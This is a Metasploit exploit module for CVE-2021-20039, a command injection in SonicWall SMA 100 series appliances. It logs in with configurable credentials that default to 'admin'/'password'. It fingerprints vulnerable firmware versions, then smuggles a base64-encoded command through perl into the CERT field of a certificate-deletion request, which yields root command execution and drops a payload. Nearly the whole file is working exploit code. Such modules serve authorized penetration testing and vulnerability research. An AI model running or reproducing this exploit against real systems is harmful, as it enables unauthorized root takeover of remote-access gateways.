## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in the SonicWall SMA 100 series web interface. Exploitation results in command execution as root. The affected versions are: - 10.2.1.2-24sv and below - 10.2.0.8-37sv and below - 9.0.0.11-31sv and below }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2021-20039' ], [ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'], [ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'], [ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis'] ], 'DisclosureDate' => '2021-12-14', 'Platform' => ['linux'], 'Arch' => [ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'echo', 'printf' ] } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PrependFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']), OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']), OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice']) ]) end ## # Extract the version number from a javascript include in the login landing page. # And compare the version against known affected. Affected versions are: # # 10.2.1.2-24sv and below # 10.2.0.8-37sv and below # 9.0.0.11-31sv and below ## def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'), 'agent' => 'SonicWALL Mobile Connect' }) return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200 version = res.body.match(/\.([0-9.\-a-z]+)\.js" type=/) return CheckCode::Unknown('Failed to retrieve the version information') unless version version = version[1] major, minor, revision, build = version.split('.', 4) build, point = build.split('-', 2) print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}") point.delete_suffix('sv') case major when '9' return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31 when '10' return CheckCode::Safe unless minor.to_i == 2 case revision when '0' return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37 when '1' return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24 else return CheckCode::Safe end else return CheckCode::Safe end CheckCode::Appears('Based on the discovered version.') end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'), 'agent' => 'SonicWALL Mobile Connect', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'domain' => datastore['SWDOMAIN'], 'portalname' => datastore['PORTALNAME'], 'login' => 'true', 'verifyCert' => '0', 'ajax' => 'true' }, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200 fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=') print_good('Authentication successful') end ## # Send the exploit in the "CERT" field when "deleting" a certificate. The # backend requires the payload start with "n". Also, there is a very small # amount of space to fit the command into (otherwise we'll trigger a bof). # Finally! The command has a lot of disallowed characters: /$&|>;`^. Which # is problematically for basically all the payloads. The system also is # missing useful tools like wget, base64, and curl (10.2 has curl but # whatever). As such, it seemed the easiest thing to do is wrap the entire # command in base64 and then use perl to decode/execute it. ## def execute_command(cmd, _opts = {}) cmd_encoded = Rex::Text.encode_base64(cmd) perl_eval = "n\nperl -MMIME::Base64 -e 'system(decode_base64(\"#{cmd_encoded}\"))'" multipart_form = Rex::MIME::Message.new multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"') multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'), 'agent' => 'SonicWALL Mobile Connect', 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s }, 5) if res && res.code != 200 # the response should always be 200, unless meterpreter holds the # connection open. fail_with(Failure::UnexpectedReply, 'Only expected 200 OK') end end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") login execute_cmdstager(linemax: 40) end end